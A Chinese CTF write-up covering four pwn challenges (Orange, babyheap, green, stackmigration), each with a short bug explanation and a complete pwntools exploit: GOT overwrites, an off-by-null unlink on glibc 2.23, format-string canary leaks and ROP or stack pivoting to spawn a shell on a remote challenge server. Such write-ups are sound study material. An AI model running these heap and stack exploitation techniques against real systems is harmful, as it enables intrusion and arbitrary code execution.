好长时间不作题了,在复现平台上看到这个比赛,作了一下,题过于简单了。不外暗码一言难尽。
Orange
要说libc-2.23有多老,我一开始学PWN的时候还有不少,这两年几乎不见了。一些比赛估计是拿的旧题。
远看像个堆题,有add,edit,show但没有free。后来搜了下网上的WP也是当堆题作的。但我感觉不是。至少跟堆没大关系。
在bss里存的list在16个指针后边是chunk_size.在edit时要求重新输入size这里就有个溢出。而最大问题是edit和show都可以输入index:16也就是指针溢出1.
以是这里可以不用堆来处理。由于PIE没开,建一个size= 0x602050地块,这个size就落在list[16]的位置。这时候show它一下就能得到libc不外也没啥用,因为标题有后门直接把这写成后门就成了。由于是后门不需要参数,以是可改的范围很大,这里改的是malloc,改别的也可以。
- from pwn import *
- context(arch='amd64', log_level='debug')
- #p = process('./Orange')
- p = remote('gz.imxbt.cn', 20366)
- #add size = elf.got.malloc
- p.sendlineafter(b"Please enter your choice>>", b'1')
- p.sendlineafter(b"input your note size", str(0x602050).encode())
- p.sendafter(b"input your note", b'A')
- #edit got.malloc->backdoor
- p.sendlineafter(b"Please enter your choice>>", b'2')
- p.sendlineafter(b'input note index\n', b'16')
- p.sendlineafter(b"input your note size", str(8).encode())
- p.sendafter(b"input your note", p64(0x400987))
- #call malloc
- p.sendlineafter(b"Please enter your choice>>", b'1')
- p.sendlineafter(b"input your note size", str(0x602050).encode())
- p.sendline(b"cat flag")
- p.interactive()
复制代码 babyheap
还是上边这个题,把size这块给堵上了。但给了free。这里free清理了指针,但在edit时用read_int函数会多写入1个\0
这个就是传统的unsort unlink,这堆题无非就是能修改不让改的地方。造重叠块是一个告急方法。2.23这东西检查不多。先释放一个块到unsort再把后边的pre_size和pre_inuse改了用off_by_null 。然后因为pie没开就直接把块建到指针区上,后边就直接改东西了。
这回改的是atoi
- from pwn import *
- context(arch='amd64', log_level='debug')
- elf = ELF('./babyheap')
- libc = ELF('./libc-2.23.so')
- #read_input off by null
- def add(size,msg=b'\n'):
- p.sendlineafter(b'Choose an option >> ', b'1')
- p.sendlineafter(b"How much do you want", str(size).encode())
- p.sendafter(b"Enter something?", msg)
- def edit(idx,msg):
- p.sendlineafter(b'Choose an option >> ', b'2')
- p.sendlineafter(b"input index", str(idx).encode())
- p.sendafter(b"Enter something?", msg)
- def show(idx):
- p.sendlineafter(b'Choose an option >> ', b'3')
- p.sendlineafter(b"Give me a index.Let you see see\n", str(idx).encode())
- def free(idx):
- p.sendlineafter(b'Choose an option >> ', b'4')
- p.sendlineafter(b"input index", str(idx).encode())
- #p = process('./babyheap')
- p = remote('gz.imxbt.cn', 20377)
- add(0x80)
- add(0x68)
- add(0xf8)
- add(0x18)
- # 1:free->unsort
- free(0)
- # 2:edit pre_size,pre_inused
- edit(1, b'\0'*0x60 + p64(0x100))
- # 3:free->forward
- free(2)
- free(1)
- add(0xa0, b'\0'*0x88+flat(0x71, 0x6020a0-3)+b'\n')
- add(0x68)
- add(0x68, b'\0'*3 + flat(0,0,0x6020d0,0x602140, elf.got['atoi'], elf.got['puts'])+b'\n')
- show(3)
- libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
- print(f"{libc.address = :x}")
- edit(2, p64(libc.sym['system']))
- p.sendline(b'/bin/sh\0')
- p.sendline(b"cat flag")
- p.interactive()
复制代码 green
这比赛不但有2.23还有32的题。
这题主体是gets-printf-gets 两个伤害函数都有了,printf可以得到所有想要的值。主要是canary后边gets就能溢出去写ROP了。
标题可能原先是在环境变量里放flag而复现平台上是文件。以是作法应该不一样。
原来是先泄露canary和加载地址然后调用check...就行了。后来需要泄露libc查libc版本。是个2.35的显然是后配上的。
- from pwn import *
- context(arch='i386', log_level='debug')
- elf = ELF('./green')
- libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
- #p = process('./green')
- p = remote('gz.imxbt.cn', 20382)
- p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%15$p %19$p %23$p ")
- canary = int(p.recvuntil(b' '),16)
- elf.address = int(p.recvuntil(b' '),16) - (0x1365+77)
- libc.address = int(p.recvuntil(b' '),16) - 0x21519 #0x23295
- print(f"{canary = :x} {elf.address = :x} {libc.address = :x}")
- #1 not found
- pop = elf.address + 0x1224
- #p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['check1'],pop, 4919, elf.sym['check2'],pop,1056, elf.sym['check3'],pop,0xDEADBEEF, elf.sym['finalcheck'],pop, 291))
- #get version
- #p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['func']))
- #p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%8$s"+p32(elf.got['printf']))
- #p.recvline()
- bin_sh = libc.address + 0x1b90d5
- system = libc.address + 0x47cd0
- p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, system,0, bin_sh))
- p.sendline(b'cat flag')
- p.interactive()
复制代码 stackmigration
read有个溢出,恰好溢出到返回地址。而且泄露了栈地址。只要移栈到开头调用下system就行。
- from pwn import *
- context(arch='amd64', log_level='debug')
- p = remote('gz.imxbt.cn', 20398)
- p.recvuntil(b'gift:')
- stack = int(p.recvline(),16)
- print(f"{stack = :x}")
- pop_rdi = 0x400963
- leave_ret = 0x400896
- p.sendafter(b"?\n", flat(pop_rdi, stack+0x18,elf.plt['system'],b'/bin/sh\0', stack-0x8, leave_ret))
- p.interactive()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |